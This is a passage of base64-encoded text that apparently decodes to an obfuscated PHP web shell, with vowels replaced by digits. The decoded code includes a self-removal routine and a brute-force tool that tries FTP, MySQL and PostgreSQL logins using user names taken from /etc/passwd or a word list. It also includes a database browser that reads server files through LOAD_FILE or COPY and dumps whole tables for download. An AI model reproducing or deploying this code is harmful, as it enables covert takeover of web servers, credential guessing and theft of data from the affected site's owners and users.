cHI1Z19yNXBsMWM1KCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpDQoJCQlkNDUoJ1NoNWxsIGgxcyBiNTVuIHI1bTJ2NWQnKTsNCgkJNWxzNQ0KCQkJNWNoMiAnM25sNG5rIDVycjJyISc7DQogICAgNGYoJF9QT1NUWydwNiddICE9ICd5NXMnKQ0KICAgICAgICB3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+UzM0YzRkNTwvaDY+PGQ0diBjbDFzcz1jMm50NW50PlI1MWxseSB3MW50IHQyIHI1bTJ2NSB0aDUgc2g1bGw/PGJyPjwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJ3k1c1wnKSI+WTVzPC8xPjwvZDR2Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkJyM3Q1ZjJyYzUoKSB7DQoJd3MySDUxZDVyKCk7DQoJNGYoIDRzczV0KCRfUE9TVFsncHIydDInXSkgKSB7DQoJCTVjaDIgJzxoNj5SNXMzbHRzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHNwMW4+VHlwNTo8L3NwMW4+ICcuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3ByMnQyJ10pLicgPHNwMW4+UzVydjVyOjwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnczVydjVyJ10pLic8YnI+JzsNCgkJNGYoICRfUE9TVFsncHIydDInXSA9PSAnZnRwJyApIHsNCgkJCWYzbmN0NDJuIHdzMkJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KCQkJCSRmcCA9IEBmdHBfYzJubjVjdCgkNHAsICRwMnJ0PyRwMnJ0OmE2KTsNCgkJCQk0ZighJGZwKSByNXQzcm4gZjFsczU7DQoJCQkJJHI1cyA9IEBmdHBfbDJnNG4oJGZwLCAkbDJnNG4sICRwMXNzKTsNCgkJCQlAZnRwX2NsMnM1KCRmcCk7DQoJCQkJcjV0M3JuICRyNXM7DQoJCQl9DQoJCX0gNWxzNTRmKCAkX1BPU1RbJ3ByMnQyJ10gPT0gJ215c3FsJyApIHsNCgkJCWYzbmN0NDJuIHdzMkJyM3Q1RjJyYzUoJDRwLCRwMnJ0LCRsMmc0biwkcDFzcykgew0KCQkJCSRyNXMgPSBAbXlzcWxfYzJubjVjdCgkNHAuJzonLigkcDJydD8kcDJydDpvbzBlKSwgJGwyZzRuLCAkcDFzcyk7DQoJCQkJQG15c3FsX2NsMnM1KCRyNXMpOw0KCQkJCXI1dDNybiAkcjVzOw0KCQkJfQ0KCQl9IDVsczU0ZiggJF9QT1NUWydwcjJ0MiddID09ICdwZ3NxbCcgKSB7DQoJCQlmM25jdDQybiB3czJCcjN0NUYycmM1KCQ0cCwkcDJydCwkbDJnNG4sJHAxc3MpIHsNCgkJCQkkc3RyID0gImgyc3Q9JyIuJDRwLiInIHAycnQ9JyIuJHAycnQuIicgM3M1cj0nIi4kbDJnNG4uIicgcDFzc3cycmQ9JyIuJHAxc3MuIicgZGJuMW01PXAyc3RncjVzIjsNCgkJCQkkcjVzID0gQHBnX2Mybm41Y3QoJHN0cik7DQoJCQkJQHBnX2NsMnM1KCRyNXMpOw0KCQkJCXI1dDNybiAkcjVzOw0KCQkJfQ0KCQl9DQoJCSRzM2NjNXNzID0gMDsNCgkJJDF0dDVtcHRzID0gMDsNCgkJJHM1cnY1ciA9IDV4cGwyZDUoIjoiLCAkX1BPU1RbJ3M1cnY1ciddKTsNCgkJNGYoJF9QT1NUWyd0eXA1J10gPT0gNikgew0KCQkJJHQ1bXAgPSBAZjRsNSgnLzV0Yy9wMXNzd2QnKTsNCgkJCTRmKCA0c18xcnIxeSgkdDVtcCkgKQ0KCQkJCWYycjUxY2goJHQ1bXAgMXMgJGw0bjUpIHsNCgkJCQkJJGw0bjUgPSA1eHBsMmQ1KCI6IiwgJGw0bjUpOw0KCQkJCQkrKyQxdHQ1bXB0czsNCgkJCQkJNGYoIHdzMkJyM3Q1RjJyYzUoQCRzNXJ2NXJbMF0sQCRzNXJ2NXJbNl0sICRsNG41WzBdLCAkbDRuNVswXSkgKSB7DQoJCQkJCQkkczNjYzVzcysrOw0KCQkJCQkJNWNoMiAnPGI+Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41WzBdKS4nPC9iPjonLmh0bWxzcDVjNDFsY2gxcnMoJGw0bjVbMF0pLic8YnI+JzsNCgkJCQkJfQ0KCQkJCQk0ZihAJF9QT1NUWydyNXY1cnM1J10pIHsNCgkJCQkJCSR0bXAgPSAiIjsNCgkJCQkJCWYycigkND1zdHJsNW4oJGw0bjVbMF0pLTY7ICQ0Pj0wOyAtLSQ0KQ0KCQkJCQkJCSR0bXAgLj0gJGw0bjVbMF1bJDRdOw0KCQkJCQkJKyskMXR0NW1wdHM7DQoJCQkJCQk0Ziggd3MyQnIzdDVGMnJjNShAJHM1cnY1clswXSxAJHM1cnY1cls2XSwgJGw0bjVbMF0sICR0bXApICkgew0KCQkJCQkJCSRzM2NjNXNzKys7DQoJCQkJCQkJNWNoMiAnPGI+Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41WzBdKS4nPC9iPjonLmh0bWxzcDVjNDFsY2gxcnMoJHRtcCk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQl9DQoJCX0gNWxzNTRmKCRfUE9TVFsndHlwNSddID09IGEpIHsNCgkJCSR0NW1wID0gQGY0bDUoJF9QT1NUWydkNGN0J10pOw0KCQkJNGYoIDRzXzFycjF5KCR0NW1wKSApDQoJCQkJZjJyNTFjaCgkdDVtcCAxcyAkbDRuNSkgew0KCQkJCQkkbDRuNSA9IHRyNG0oJGw0bjUpOw0KCQkJCQkrKyQxdHQ1bXB0czsNCgkJCQkJNGYoIHdzMkJyM3Q1RjJyYzUoJHM1cnY1clswXSxAJHM1cnY1cls2XSwgJF9QT1NUWydsMmc0biddLCAkbDRuNSkgKSB7DQoJCQkJCQkkczNjYzVzcysrOw0KCQkJCQkJNWNoMiAnPGI+Jy5odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnbDJnNG4nXSkuJzwvYj46Jy5odG1sc3A1YzQxbGNoMXJzKCRsNG41KS4nPGJyPic7DQoJCQkJCX0NCgkJCQl9DQoJCX0NCgkJNWNoMiAiPHNwMW4+QXR0NW1wdHM6PC9zcDFuPiAkMXR0NW1wdHMgPHNwMW4+UzNjYzVzczo8L3NwMW4+ICRzM2NjNXNzPC9kNHY+PGJyPiI7DQoJfQ0KCTVjaDIgJzxoNj5CcjN0NWYycmM1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHQxYmw1PjxmMnJtIG01dGgyZD1wMnN0Pjx0cj48dGQ+PHNwMW4+VHlwNTwvc3Axbj48L3RkPicNCgkJLic8dGQ+PHM1bDVjdCBuMW01PXByMnQyPjwycHQ0Mm4gdjFsMzU9ZnRwPkZUUDwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9bXlzcWw+TXlTcWw8LzJwdDQybj48MnB0NDJuIHYxbDM1PXBnc3FsPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nDQoJCS4nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0iJy5odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+Jw0KCQkuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJzEnXSkuJyI+Jw0KCQkuJzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2NoMXJzNXQnXSkuJyI+Jw0KCQkuJzxzcDFuPlM1cnY1cjpwMnJ0PC9zcDFuPjwvdGQ+Jw0KCQkuJzx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9czVydjVyIHYxbDM1PSI2YTcuMC4wLjYiPjwvdGQ+PC90cj4nDQoJCS4nPHRyPjx0ZD48c3Axbj5CcjN0NSB0eXA1PC9zcDFuPjwvdGQ+Jw0KCQkuJzx0ZD48bDFiNWw+PDRucDN0IHR5cDU9cjFkNDIgbjFtNT10eXA1IHYxbDM1PSI2IiBjaDVjazVkPiAvNXRjL3Axc3N3ZDwvbDFiNWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsMWI1bCBzdHlsNT0icDFkZDRuZy1sNWZ0OjZpcHgiPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9cjV2NXJzNSB2MWwzNT02IGNoNWNrNWQ+IHI1djVyczUgKGwyZzRuIC0+IG40ZzJsKTwvbDFiNWw+PC90ZD48L3RyPicNCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsMWI1bD48NG5wM3QgdHlwNT1yMWQ0MiBuMW01PXR5cDUgdjFsMzU9ImEiPiBENGN0NDJuMXJ5PC9sMWI1bD48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PC90ZD48dGQ+PHQxYmw1IHN0eWw1PSJwMWRkNG5nLWw1ZnQ6NmlweCI+PHRyPjx0ZD48c3Axbj5MMmc0bjwvc3Axbj48L3RkPicNCgkJLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWwyZzRuIHYxbDM1PSJyMjJ0Ij48L3RkPjwvdHI+Jw0KCQkuJzx0cj48dGQ+PHNwMW4+RDRjdDQybjFyeTwvc3Axbj48L3RkPicNCgkJLic8dGQ+PDRucDN0IHR5cDU9dDV4dCBuMW01PWQ0Y3QgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pLidwMXNzd2QuZDRjIj48L3RkPjwvdHI+PC90MWJsNT4nDQoJCS4nPC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC90ZD48L3RyPjwvZjJybT48L3QxYmw1Pic7DQoJNWNoMiAnPC9kNHY+PGJyPic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQyblNxbCgpIHsNCgljbDFzcyBEYkNsMXNzIHsNCgkJdjFyICR0eXA1Ow0KCQl2MXIgJGw0bms7DQoJCXYxciAkcjVzOw0KCQlmM25jdDQybiBEYkNsMXNzKCR0eXA1KQl7DQoJCQkkdGg0cy0+dHlwNSA9ICR0eXA1Ow0KCQl9DQoJCWYzbmN0NDJuIGMybm41Y3QoJGgyc3QsICQzczVyLCAkcDFzcywgJGRibjFtNSl7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCTRmKCAkdGg0cy0+bDRuayA9IEBteXNxbF9jMm5uNWN0KCRoMnN0LCQzczVyLCRwMXNzLHRyMzUpICkgcjV0M3JuIHRyMzU7DQoJCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJJGgyc3QgPSA1eHBsMmQ1KCc6JywgJGgyc3QpOw0KCQkJCQk0ZighJGgyc3RbNl0pICRoMnN0WzZdPWl1b2E7DQoJCQkJCTRmKCAkdGg0cy0+bDRuayA9IEBwZ19jMm5uNWN0KCJoMnN0PXskaDJzdFswXX0gcDJydD17JGgyc3RbNl19IDNzNXI9JDNzNXIgcDFzc3cycmQ9JHAxc3MgZGJuMW01PSRkYm4xbTUiKSApIHI1dDNybiB0cjM1Ow0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBzNWw1Y3RkYigkZGIpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJNGYgKEBteXNxbF9zNWw1Y3RfZGIoJGRiKSlyNXQzcm4gdHIzNTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gcTM1cnkoJHN0cikgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KSB7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9IEBteXNxbF9xMzVyeSgkc3RyKTsNCgkJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9IEBwZ19xMzVyeSgkdGg0cy0+bDRuaywkc3RyKTsNCgkJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gZjV0Y2goKSB7DQoJCQkkcjVzID0gZjNuY19uM21fMXJncygpP2YzbmNfZzV0XzFyZygwKTokdGg0cy0+cjVzOw0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gQG15c3FsX2Y1dGNoXzFzczJjKCRyNXMpOw0KCQkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCXI1dDNybiBAcGdfZjV0Y2hfMXNzMmMoJHI1cyk7DQoJCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGw0c3REYnMoKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnEzNXJ5KCJTSE9XIGQxdDFiMXM1cyIpOw0KCQkJCWJyNTFrOw0KCQkJCWMxczUgJ3Bnc3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoIlNFTEVDVCBkMXRuMW01IEZST00gcGdfZDF0MWIxczUgV0hFUkUgZDF0NHN0NW1wbDF0NSE9J3QnIik7DQoJCQkJYnI1MWs7DQoJCQl9DQoJCQlyNXQzcm4gZjFsczU7DQoJCX0NCgkJZjNuY3Q0Mm4gbDRzdFQxYmw1cygpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJcjV0M3JuICR0aDRzLT5yNXMgPSAkdGg0cy0+cTM1cnkoJ1NIT1cgVEFCTEVTJyk7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gJHRoNHMtPnI1cyA9ICR0aDRzLT5xMzVyeSgiczVsNWN0IHQxYmw1X24xbTUgZnIybSA0bmYycm0xdDQybl9zY2g1bTEudDFibDVzIHdoNXI1IHQxYmw1X3NjaDVtMSAhPSAnNG5mMnJtMXQ0Mm5fc2NoNW0xJyBBTkQgdDFibDVfc2NoNW0xICE9ICdwZ19jMXQxbDJnJyIpOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIDVycjJyKCkgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQlyNXQzcm4gQG15c3FsXzVycjJyKCk7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gQHBnX2wxc3RfNXJyMnIoKTsNCgkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBzNXRDaDFyczV0KCRzdHIpIHsNCgkJCXN3NHRjaCgkdGg0cy0+dHlwNSkJew0KCQkJCWMxczUgJ215c3FsJzoNCgkJCQkJNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9zNXRfY2gxcnM1dCcpKQ0KCQkJCQkJcjV0M3JuIEBteXNxbF9zNXRfY2gxcnM1dCgkc3RyLCAkdGg0cy0+bDRuayk7DQoJCQkJCTVsczUNCgkJCQkJCSR0aDRzLT5xMzVyeSgnU0VUIENIQVJTRVQgJy4kc3RyKTsNCgkJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQlyNXQzcm4gQHBnX3M1dF9jbDQ1bnRfNW5jMmQ0bmcoJHRoNHMtPmw0bmssICRzdHIpOw0KCQkJCQlicjUxazsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQlmM25jdDQybiBsMjFkRjRsNSgkc3RyKSB7DQoJCQlzdzR0Y2goJHRoNHMtPnR5cDUpCXsNCgkJCQljMXM1ICdteXNxbCc6DQoJCQkJCXI1dDNybiAkdGg0cy0+ZjV0Y2goJHRoNHMtPnEzNXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLjFkZHNsMXNoNXMoJHN0cikuIicpIDFzIGY0bDUiKSk7DQoJCQkJYnI1MWs7DQoJCQkJYzFzNSAncGdzcWwnOg0KCQkJCQkkdGg0cy0+cTM1cnkoIkNSRUFURSBUQUJMRSB3czJhKGY0bDUgdDV4dCk7Q09QWSB3czJhIEZST00gJyIuMWRkc2wxc2g1cygkc3RyKS4iJztzNWw1Y3QgZjRsNSBmcjJtIHdzMmE7Iik7DQoJCQkJCSRyPTFycjF5KCk7DQoJCQkJCXdoNGw1KCQ0PSR0aDRzLT5mNXRjaCgpKQ0KCQkJCQkJJHJbXSA9ICQ0WydmNGw1J107DQoJCQkJCSR0aDRzLT5xMzVyeSgnZHIycCB0MWJsNSB3czJhJyk7DQoJCQkJCXI1dDNybiAxcnIxeSgnZjRsNSc9PjRtcGwyZDUoIlxuIiwkcikpOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJCWYzbmN0NDJuIGQzbXAoJHQxYmw1LCAkZnAgPSBmMWxzNSkgew0KCQkJc3c0dGNoKCR0aDRzLT50eXA1KQl7DQoJCQkJYzFzNSAnbXlzcWwnOg0KCQkJCQkkcjVzID0gJHRoNHMtPnEzNXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdDFibDUuJ2AnKTsNCgkJCQkJJGNyNTF0NSA9IG15c3FsX2Y1dGNoXzFycjF5KCRyNXMpOw0KCQkJCQkkc3FsID0gJGNyNTF0NVs2XS4iO1xuIjsNCiAgICAgICAgICAgICAgICAgICAgNGYoJGZwKSBmd3I0dDUoJGZwLCAkc3FsKTsgNWxzNSA1Y2gyKCRzcWwpOw0KCQkJCQkkdGg0cy0+cTM1cnkoJ1NFTEVDVCAqIEZST00gYCcuJHQxYmw1LidgJyk7DQogICAgICAgICAgICAgICAgICAgICQ0ID0gMDsNCiAgICAgICAgICAgICAgICAgICAgJGg1MWQgPSB0cjM1Ow0KCQkJCQl3aDRsNSgkNHQ1bSA9ICR0aDRzLT5mNXRjaCgpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJyc7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkNCAlIDYwMDAgPT0gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoNTFkID0gdHIzNTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIjtcblxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KCQkJCQkJJGMybDNtbnMgPSAxcnIxeSgpOw0KCQkJCQkJZjJyNTFjaCgkNHQ1bSAxcyAkaz0+JHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkdiA9PT0gbjNsbCkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDR0NW1bJGtdID0gIk5VTEwiOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczU0Zig0c180bnQoJHYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkNHQ1bVska10gPSAkdjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtWyRrXSA9ICInIi5AbXlzcWxfcjUxbF81c2MxcDVfc3RyNG5nKCR2KS4iJyI7DQoJCQkJCQkJJGMybDNtbnNbXSA9ICJgIi4kay4iYCI7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkaDUxZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgLj0gJ0lOU0VSVCBJTlRPIGAnLiR0MWJsNS4nYCAoJy40bXBsMmQ1KCIsICIsICRjMmwzbW5zKS4iKSBWQUxVRVMgXG5cdCgiLjRtcGwyZDUoIiwgIiwgJDR0NW0pLicpJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaDUxZCA9IGYxbHM1Ow0KICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAiXG5cdCwoIi40bXBsMmQ1KCIsICIsICQ0dDVtKS4nKSc7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZigkZnApIGZ3cjR0NSgkZnAsICRzcWwpOyA1bHM1IDVjaDIoJHNxbCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkNCsrOw0KCQkJCQl9DQogICAgICAgICAgICAgICAgICAgIDRmKCEkaDUxZCkNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgIjtcblxuIik7IDVsczUgNWNoMigiO1xuXG4iKTsNCgkJCQlicjUxazsNCgkJCQljMXM1ICdwZ3NxbCc6DQoJCQkJCSR0aDRzLT5xMzVyeSgnU0VMRUNUICogRlJPTSAnLiR0MWJsNSk7DQoJCQkJCXdoNGw1KCQ0dDVtID0gJHRoNHMtPmY1dGNoKCkpIHsNCgkJCQkJCSRjMmwzbW5zID0gMXJyMXkoKTsNCgkJCQkJCWYycjUxY2goJDR0NW0gMXMgJGs9PiR2KSB7DQoJCQkJCQkJJDR0NW1bJGtdID0gIiciLjFkZHNsMXNoNXMoJHYpLiInIjsNCgkJCQkJCQkkYzJsM21uc1tdID0gJGs7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcuJHQxYmw1LicgKCcuNG1wbDJkNSgiLCAiLCAkYzJsM21ucykuJykgVkFMVUVTICgnLjRtcGwyZDUoIiwgIiwgJDR0NW0pLicpOycuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmcCkgZndyNHQ1KCRmcCwgJHNxbCk7IDVsczUgNWNoMigkc3FsKTsNCgkJCQkJfQ0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJcjV0M3JuIGYxbHM1Ow0KCQl9DQoJfTsNCgkkZGIgPSBuNXcgRGJDbDFzcygkX1BPU1RbJ3R5cDUnXSk7DQoJNGYoKEAkX1BPU1RbJ3BhJ109PSdkMndubDIxZCcpICYmIChAJF9QT1NUWydwNiddIT0nczVsNWN0JykpIHsNCgkJJGRiLT5jMm5uNWN0KCRfUE9TVFsnc3FsX2gyc3QnXSwgJF9QT1NUWydzcWxfbDJnNG4nXSwgJF9QT1NUWydzcWxfcDFzcyddLCAkX1BPU1RbJ3NxbF9iMXM1J10pOw0KCQkkZGItPnM1bDVjdGRiKCRfUE9TVFsnc3FsX2IxczUnXSk7DQogICAgICAgIHN3NHRjaCgkX1BPU1RbJ2NoMXJzNXQnXSkgew0KICAgICAgICAgICAgYzFzNSAiVzRuZDJ3cy02YWk2IjogJGRiLT5zNXRDaDFyczV0KCdjcDZhaTYnKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJVVEYtOCI6ICRkYi0+czV0Q2gxcnM1dCgnM3RmOCcpOyBicjUxazsNCiAgICAgICAgICAgIGMxczUgIktPSTgtUiI6ICRkYi0+czV0Q2gxcnM1dCgnazI0OHInKTsgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICJLT0k4LVUiOiAkZGItPnM1dENoMXJzNXQoJ2syNDgzJyk7IGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAiY3A4ZWUiOiAkZGItPnM1dENoMXJzNXQoJ2NwOGVlJyk7IGJyNTFrOw0KICAgICAgICB9DQogICAgICAgIDRmKDVtcHR5KCRfUE9TVFsnZjRsNSddKSkgew0KICAgICAgICAgICAgMmJfc3QxcnQoIjJiX2d6aDFuZGw1ciIsIHUwOWUpOw0KICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LUQ0c3AyczR0NDJuOiAxdHQxY2htNW50OyBmNGw1bjFtNT1kM21wLnNxbCIpOw0KICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LVR5cDU6IHQ1eHQvcGwxNG4iKTsNCiAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWyd0YmwnXSAxcyAkdikNCgkJCQkkZGItPmQzbXAoJHYpOw0KICAgICAgICAgICAgNXg0dDsNCiAgICAgICAgfSA1bHM1NGYoJGZwID0gQGYycDVuKCRfUE9TVFsnZjRsNSddLCAndycpKSB7DQogICAgICAgICAgICBmMnI1MWNoKCRfUE9TVFsndGJsJ10gMXMgJHYpDQogICAgICAgICAgICAgICAgJGRiLT5kM21wKCR2LCAkZnApOw0KICAgICAgICAgICAgZmNsMnM1KCRmcCk7DQogICAgICAgICAgICAzbnM1dCgkX1BPU1RbJ3BhJ10pOw0KICAgICAgICB9IDVsczUNCiAgICAgICAgICAgIGQ0NSgnPHNjcjRwdD4xbDVydCgiRXJyMnIhIEMxblwndCAycDVuIGY0bDUiKTt3NG5kMncuaDRzdDJyeS5iMWNrKC02KTwvc2NyNHB0PicpOw0KCX0NCgl3czJINTFkNXIoKTsNCgk1Y2gyICINCjxoNj5TcWwgYnIyd3M1cjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pg0KPGYycm0gbjFtNT0nc2YnIG01dGgyZD0ncDJzdCcgMm5zM2JtNHQ9J2ZzKHRoNHMpOyc+PHQxYmw1IGM1bGxwMWRkNG5nPSdhJyBjNWxsc3AxYzRuZz0nMCc+PHRyPg0KPHRkPlR5cDU8L3RkPjx0ZD5IMnN0PC90ZD48dGQ+TDJnNG48L3RkPjx0ZD5QMXNzdzJyZDwvdGQ+PHRkPkQxdDFiMXM1PC90ZD48dGQ+PC90ZD48L3RyPjx0cj4NCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTEgdjFsMzU9U3FsPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2IHYxbDM1PSdxMzVyeSc+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGEgdjFsMzU9Jyc+PDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIi4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jaDFyczV0IHYxbDM1PSciLiAoNHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnKSAuIic+DQo8dGQ+PHM1bDVjdCBuMW01PSd0eXA1Jz48MnB0NDJuIHYxbDM1PSdteXNxbCcgIjsNCiAgICA0ZihAJF9QT1NUWyd0eXA1J109PSdteXNxbCcpNWNoMiAnczVsNWN0NWQnOw0KNWNoMiAiPk15U3FsPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0ncGdzcWwnICI7DQo0ZihAJF9QT1NUWyd0eXA1J109PSdwZ3NxbCcpNWNoMiAnczVsNWN0NWQnOw0KNWNoMiAiPlAyc3RncjVTcWw8LzJwdDQybj48L3M1bDVjdD48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfaDJzdCB2MWwzNT1cIiIuICg1bXB0eSgkX1BPU1RbJ3NxbF9oMnN0J10pPydsMmMxbGgyc3QnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzcWxfaDJzdCddKSkgLiJcIj48L3RkPg0KPHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfbDJnNG4gdjFsMzU9XCIiLiAoNW1wdHkoJF9QT1NUWydzcWxfbDJnNG4nXSk/J3IyMnQnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydzcWxfbDJnNG4nXSkpIC4iXCI+PC90ZD4NCjx0ZD48NG5wM3QgdHlwNT10NXh0IG4xbTU9c3FsX3Axc3MgdjFsMzU9XCIiLiAoNW1wdHkoJF9QT1NUWydzcWxfcDFzcyddKT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnc3FsX3Axc3MnXSkpIC4iXCI+PC90ZD48dGQ+IjsNCgkkdG1wID0gIjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1zcWxfYjFzNSB2MWwzNT0nJz4iOw0KCTRmKDRzczV0KCRfUE9TVFsnc3FsX2gyc3QnXSkpew0KCQk0ZigkZGItPmMybm41Y3QoJF9QT1NUWydzcWxfaDJzdCddLCAkX1BPU1RbJ3NxbF9sMmc0biddLCAkX1BPU1RbJ3NxbF9wMXNzJ10sICRfUE9TVFsnc3FsX2IxczUnXSkpIHsNCgkJCXN3NHRjaCgkX1BPU1RbJ2NoMXJzNXQnXSkgew0KCQkJCWMxczUgIlc0bmQyd3MtNmFpNiI6ICRkYi0+czV0Q2gxcnM1dCgnY3A2YWk2Jyk7IGJyNTFrOw0KCQkJCWMxczUgIlVURi04IjogJGRiLT5zN